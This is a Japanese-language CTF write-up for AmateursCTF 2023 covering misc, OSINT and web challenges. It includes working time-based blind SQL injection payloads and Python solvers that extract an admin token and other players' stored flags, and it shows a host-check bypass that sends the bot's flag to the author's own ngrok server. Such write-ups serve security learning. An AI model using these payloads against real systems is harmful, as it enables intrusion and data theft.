Amateurs CTF 2023 Writeup
所感
0nePaddingというチームで参加して914チーム中16位でした。
アクティブだったチームはだいたい700チームくらいだと思います。
三連休だけの開催かと思ってたらなぜか伸びて腰を据えて参加できました。
misc/Insanity check
説明に多数の単語が与えられているのみの問題です。
この規則はチーム内の他の人が気づいていたのですが、「i」から始まる単語を除外すると 「something hidden the rules」という文章が出現します。
このCTFにはdiscordサーバーがあり、rulesチャンネルが存在するためそのどこかにflagがあると推測できます。 画像が貼られていたのでstegoかと思いましたが特に何も見つからず…。
iPhoneでrulesを見たときにMarkdownのnumberd listの値がやけにバカでかい数値になっていることに気づきました。
そこでrulesの投稿をテキストとしてコピーしたところ 5つの大きい整数が得られました。
あとはこれらをlong_to_bytesしてからつなげるだけでflagが取得できます。
from Crypto.Util.number import long_to_bytes print(long_to_bytes(107122414347637)+long_to_bytes(125839376402043)+long_to_bytes(122524418662265)+long_to_bytes(122549902405493)+long_to_bytes(121377376789885))
misc/legality
作ったアプリケーションにAGPLライセンスを適用したそうです。 パスワードを忘れたそうなのでパスワードを探します。
以下のWebページにパスワードを入力することが目標。
LICENSEへのリンクが存在するのでアクセスしてみると 管理者?のメールアドレスが記載されている。
あまり詳しくはないですがAGPLライセンスを適用したアプリケーションはユーザーから要求された場合はソースコードを提供しなければならない規則があったと思うので上記のメールアドレスにメールを送ってみました。
数時間後、返信がありTypeScriptのソースコードが送られてきました。
その中にパスワードがハードコードされていたのでそれを使ってログインしたらflagが表示されました。
main.ts
import { serve } from "https://deno.land/std@0.181.0/http/server.ts"; import { serveFile } from "https://deno.land/std@0.181.0/http/file_server.ts"; const handler = async (request: Request): Promise<Response> => { const url = new URL(request.url); switch(url.pathname) { case "/": return await serveFile(request, "index.html"); case "/LICENSE": return await serveFile(request, "LICENSE"); case "/submit": if(url.searchParams.get("password") == "il0vefreesoftware!distributefreely!") { return await serveFile(request, "flag.txt"); } else { return new Response("incorrect password.") } } return await serveFile(request, "404.html"); }; await serve(handler);
osint/ScreenshotGuesser
無線アクセスポイントのSSIDから場所を特定する問題です。
このスクリーンショットが与えられます。
無線APの特定にwigleを使用しました。
PRIMAVERA FOUNDATION 5G_2.4GEXT が世界で一つだけだったのでその周辺に絞ってその他のAPの緯度経度を調べます。
NETGEAR17に関しては範囲を絞って検索しても大量に存在したため省略しています。
SSID | lat | long |
---|---|---|
PRIMAVERA FOUNDATION 5G_2.4GEXT | 32.23569107 | -110.98345184 |
IBR600-22c | 32.23879242 | -110.98509979 |
5BA267 | 32.23749924 | -110.98191071 |
ARRIS-4E0A | 32.235886 | -110.983539 |
CenturyLink1432 | 32.23577118 | -110.98181152 |
DIRECT-F4-HP ENVY Pro 6400 | 32.23579788 | -110.98252106 |
Linksys08452-guest | 32.23592758 | -110.98352814 |
NETGEAR17 | - | - |
あとはこの緯度経度を総当りするだけでどれかがヒットしました。
Proof of Workを提出しなければいけない問題だったので追加の処理が必要でした。
solver.py
from pwn import * import subprocess import os #context.log_level = "debug" lats = [ 32.23569107, 32.23879242, 32.23749924, 32.235886, 32.23577118, 32.23579788, 32.23592758 ] longs = [ -110.98345184, -110.98509979, -110.98191071, -110.983539, -110.98181152, -110.98252106, -110.98352814 ] for i in lats: for j in longs: io = remote("amt.rs", 31450) line = io.recvline() #print(line) io.recvuntil(b"solution: ") pow_command = line.decode().replace("proof of work: ","") pow = subprocess.run(pow_command, capture_output=True, shell=True) io.send(pow.stdout) io.recvuntil(b"Please enter the long and lat of the location: ") io.sendline(f"{i}, {j}") if b"Wrong" not in io.recvline(): print(f"{i},{j}: {io.recvline()}") io.close() os._exit(0)
osint/Archived
問題がアーカイブされた、という問題です。
最初は、これは正式な問題なのかと思いましたがsolvesが増えていっていたので取り組みました。
Authorのdiscordプロフィールやその他SNSアカウントなど調べ上げましたが、discordで管理者のソーシャルアカウントは関係ないみたいなアナウンスがあったため、方針を切り替えました。
問題名がArchiveということでWeb上にアーカイブされていないか探してみると、Internet Archiveにアーカイブが落ちていました。
7zをダウンロードして解凍するとflagがありました。
web/cps remastered
解いてから気づいたんですが、この問題にはアクシデントがあり、0 Pointでした。
ユーザー登録機能とログイン機能、ログイン後にパスワードを表示する機能があります。 CPS testの機能についてはよく理解できていません。。。
ユーザー登録
ログイン
ログイン後トップ
ログイン後はtokenがクッキーに設定されます
ログインなどの処理はPrepared Statementを使用しているが、
ユーザー登録時はsprintfを使って結合しているためSQLiがあります。
payloadはこんな感じで、tokenを1文字ずつ取得していきます。
username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token+like+'{TOKEN}%')>0,SLEEP(5),0))--+-&password=test
solver.py
import requests import urllib3 from urllib3.exceptions import InsecureRequestWarning urllib3.disable_warnings(InsecureRequestWarning) URL = "https://cps.amt.rs/register.php" headers = {"Content-Type": "application/x-www-form-urlencoded"} proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"} while True: for c in "abcdefghijklmnopqrstuvwxyz0123456789": payload =f"username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token+like+'{token+c}%')>0,SLEEP(5),0))--+-&password=test" res = requests.post( URL, headers=headers, data=payload, proxies=proxies, verify=False ) if res.elapsed.total_seconds() > 5: token += c print(token) check_payload =f"username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token='{token}')>0,SLEEP(5),0))--+-&password=test" res2 = requests.post( URL, headers=headers, data=check_payload, proxies=proxies, verify=False ) if res2.elapsed.total_seconds() > 5: print(f"token={token}") break
あとはtokenをクッキーに設定してアクセスすればパスワード(flag)が表示されます。
web/go-gopher
gopher問題です。
Webに入力したgopherURLにボットがアクセスし、gopherレスポンスに乗っているURLに対してボットがHTTPリクエストを送信します。
送信されたHTTPリクエストボディのflagが出力されているのでどうにかしてそれを取得します。
Webのボット側はbot.go、gopherサーバー側はmain.goが実行されています。
bot.go
package main import ( "bytes" "fmt" "log" "net/http" "net/url" "os" "strings" "git.mills.io/prologic/go-gopher" ) var flag = []byte{} func main() { content, err := os.ReadFile("flag.txt") if err != nil { log.Fatal(err) } flag = content http.HandleFunc("/submit", Submit) http.HandleFunc("/", Index) if err := http.ListenAndServe(":8080", nil); err != nil { log.Fatal(err) } } func Index(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, "index.html") } func Submit(w http.ResponseWriter, r *http.Request) { r.ParseForm() u, err := url.Parse(r.Form.Get("url")) if err != nil || !strings.HasPrefix(u.Host, "amt.rs") { w.Write([]byte("Invalid url")) return } w.Write([]byte(Visit(r.Form.Get("url")))) } func Visit(url string) string { fmt.Println(url) res, err := gopher.Get(url) if err != nil { return fmt.Sprintf("Something went wrong: %s", err.Error()) } h, _ := res.Dir.ToText() fmt.Println(string(h)) url, _ = strings.CutPrefix(res.Dir.Items[2].Selector, "URL:") fmt.Println(url) _, err = http.Post(url, "text/plain", bytes.NewBuffer(flag)) if err != nil { return "Failed to make request" } return "Successful visit" }
main.go
package main import ( "fmt" "log" "net/url" "strings" "git.mills.io/prologic/go-gopher" ) func index(w gopher.ResponseWriter, r *gopher.Request) { w.WriteInfo("Welcome to the flag submitter!") w.WriteInfo("Please submit all your flags!") w.WriteItem(&gopher.Item{ Type: gopher.DIRECTORY, Selector: "/submit/user", Description: "Submit flags here!", }) w.WriteItem(&gopher.Item{ Type: gopher.FILE, Selector: "URL:https://ctf.amateurs.team/", Description: "Get me more flags lackeys!!", }) w.WriteItem(&gopher.Item{ Type: gopher.DIRECTORY, Selector: "/", Description: "Nice gopher proxy", Host: "gopher.floodgap.com", Port: 70, }) } func submit(w gopher.ResponseWriter, r *gopher.Request) { name := strings.Split(r.Selector, "/")[2] undecoded, err := url.QueryUnescape(name) if err != nil { w.WriteError(err.Error()) } w.WriteInfo(fmt.Sprintf("Hello %s", undecoded)) w.WriteInfo("Please send a post request containing your flag at the server down below.") w.WriteItem(&gopher.Item{ Type: gopher.FILE, Selector: "URL:http://amt.rs/gophers-catcher-not-in-scope", Description: "Submit here! (gopher doesn't have forms D:)", Host: "error.host", Port: 1, }) } func main() { mux := gopher.NewServeMux() mux.HandleFunc("/", index) mux.HandleFunc("/submit/", submit) log.Fatal(gopher.ListenAndServe("0.0.0.0:7000", mux)) }
bot.goのSubmit部分の処理を見るとsubmitされたURLのホスト名チェックが甘いことがわかります。
if err != nil || !strings.HasPrefix(u.Host, "amt.rs"){省略}
この場合、amt.rs.selfhosted.com
のような他ドメインへのリクエストが送れますので下記の流れでflagが取得できます。
- amt.rs.selfhosted.comのような自分の管理化のドメインを用意する
- amt.rs.selfhosted.comで改変したmain.goを実行し、gopherリクエストを待ち受ける
- 同じくamt.rs.selfhosted.comでHTTPサーバーを立ち上げ、flagの乗ったリクエストを待ち受ける
https://gopher-bot.amt.rs/
にgopher://amt.rs.selfhosted.com
をsubmitする
今回はngrokを利用しました。
amt.rs.selfhosted.comのような自分の管理化のドメインを用意する
ngrokのTCP Addressに割り当てられたアドレスを、amt.rs.rikoteki.comのCNAMEに設定しました。
amt.rs.selfhosted.comで改変したmain.goを実行し、gopherリクエストを待ち受ける
indexハンドラ部分を書き換えます。
書き換えたURLはngrokで取得したHTTPで使用できるドメイン名です。
func index(w gopher.ResponseWriter, r *gopher.Request) { w.WriteInfo("Welcome to the flag submitter!") w.WriteInfo("Please submit all your flags!") w.WriteItem(&gopher.Item{ Type: gopher.DIRECTORY, - Selector: "/submit/user", + Selector: "URL:http://rikoteki.ng.ngrok.app", Description: "Submit flags here!", }) w.WriteItem(&gopher.Item{ Type: gopher.FILE, Selector: "URL:https://ctf.amateurs.team/", Description: "Get me more flags lackeys!!", }) w.WriteItem(&gopher.Item{ Type: gopher.DIRECTORY, Selector: "/", Description: "Nice gopher proxy", Host: "gopher.floodgap.com", Port: 70, }) }
実行します。
ngrokでlocalの7000番を、与えられているTCP addressにトンネルします。
ngrok tcp --region=us --remote-addr=7.tcp.ngrok.io:22365 7000
amt.rs.rikoteki.comで待ち受けられていることが確認できます。
同じくamt.rs.selfhosted.comでHTTPサーバーを立ち上げ、flagの乗ったリクエストを待ち受ける
ボディにフラグが乗っているのでボディを出力できるHTTPサーバーを立ち上げます。
ngrokでHTTP 80番をトンネルします。
ngrok http --domain=rikoteki.ng.ngrok.app 80
https://gopher-bot.amt.rs/
にgopher://amt.rs.selfhosted.com
をsubmitする
gopher://amt.rs.rikoteki.com:22365
をsubmitするとSuccessful visit
と表示されます。
HTTPサーバーを確認するとflagが出力されているのが確認できます。
web/gophers-revenge
go-gophersのアップデート版の問題です。 非想定解ですが、解きました。
ホスト名のチェックが強化され、HTTPリクエストが送信されるTLD+1がamt.rs
でないといけない制約が追加されました。
送信されるPOSTリクエストにはusernameとpasswordパラメータがあり、passwordがflagになっています。
また、POSTリクエストに対するレスポンスのtokenクッキーを出力するようになっています。
bot.go
package main import ( "bytes" "crypto/rand" "fmt" "log" "net/http" "net/url" "os" "strings" "git.mills.io/prologic/go-gopher" "golang.org/x/net/publicsuffix" ) var flag = []byte{} func randomString(length int) string { b := make([]byte, length+2) rand.Read(b) return fmt.Sprintf("%x", b)[2 : length+2] } func main() { content, err := os.ReadFile("flag.txt") if err != nil { log.Fatal(err) } flag = content http.HandleFunc("/submit", Submit) http.HandleFunc("/", Index) if err := http.ListenAndServe(":8080", nil); err != nil { log.Fatal(err) } } func Index(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, "index.html") } func Submit(w http.ResponseWriter, r *http.Request) { r.ParseForm() u, err := url.Parse(r.Form.Get("url")) if err != nil || u.Host != "amt.rs:31290" { w.Write([]byte("Invalid url")) return } w.Write([]byte(Visit(r.Form.Get("url")))) } func Visit(gopherURL string) string { fmt.Println(gopherURL) res, err := gopher.Get(gopherURL) if err != nil { return fmt.Sprintf("Something went wrong: %s", err.Error()) } rawURL, _ := strings.CutPrefix(res.Dir.Items[2].Selector, "URL:") fmt.Println(rawURL) u, err := url.Parse(rawURL) etldpo, err2 := publicsuffix.EffectiveTLDPlusOne(u.Host) if err != nil || err2 != nil || etldpo != "amt.rs" { return "Invalid url" } resp, err := http.Post(u.String(), "application/x-www-form-urlencoded", bytes.NewBuffer([]byte(fmt.Sprintf("username=%s&password=%s", randomString(20), flag)))) if err != nil { return "Failed to make request" } cookies := resp.Cookies() token := "" for _, c := range cookies { if c.Name == "token" { token = c.Value } } if token != "" { return fmt.Sprintf("Thanks for sending in a flag! Use the following token once i get the gopher-catcher frontend setup: %s", token) } else { return "Something went wrong, my sever should have sent a cookie back but it didn't..." } }
HTTPリクエストを送信する先はamt.rs
のサブドメインでなくてはならないのでその中でどうにかしなければなりません。
しばらく考え、0 Pointのcps remasterd
という問題のユーザー登録機能がusernameとpasswordをパラメータにとり、登録に成功した場合tokenがクッキーにセットされることに気づきました。tokenをセットしてページにアクセスするとパスワードが表示されるためflagが取れます。
基本的な手順はgo-gopher
と一緒ですが、gopherリクエストを送信させるURLのホスト名チェックのバイパスができず、この方法では解けませんでした。。。
仕方ないので別の方法を考えました。
この問題は既に10チームほどが解いていたのでcps remasterd
のデータベースにはgopher-revenge
のflagをパスワードとしたユーザーが登録されているはず。
加えてcps remasterd
にはSQLiがあるのでパスワードを漏洩させることが可能。ということでSQLiでflagを取得しました。
solver.py
import os import requests import urllib3 from urllib3.exceptions import InsecureRequestWarning urllib3.disable_warnings(InsecureRequestWarning) URL = "https://cps.amt.rs/register.php" headers = {"Content-Type": "application/x-www-form-urlencoded"} proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"} password = "" while True: for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$_.{}+": escaped_char = "" if c in "~!@#$_.{}+": escaped_char = "\\" + c else: escaped_char = c tmp_password = password + escaped_char payload = "username=test',IF((SELECT+COUNT(*)+FROM+(SELECT+*+FROM+users+WHERE+CHAR_LENGTH(username)=20+and+password+LIKE+BINARY+'"+tmp_password+"%')+as+t1)>50,SLEEP(5),0))--+-&password=test" res = requests.post( URL, headers=headers, data=payload, proxies=proxies, verify=False ) if res.elapsed.total_seconds() > 5: password += c print(password) check_payload = "username=test',IF((SELECT+COUNT(*)+FROM+(SELECT+*+FROM+users+WHERE+password+LIKE+'amateursCTF\{" + tmp_password + "\}')+as+t1)>0,SLEEP(5),0))--+-&password=test" res2 = requests.post( URL, headers=headers, data=check_payload, proxies=proxies, verify=False ) if res2.elapsed.total_seconds() > 5: print(f"flag={password}") os._exit(0)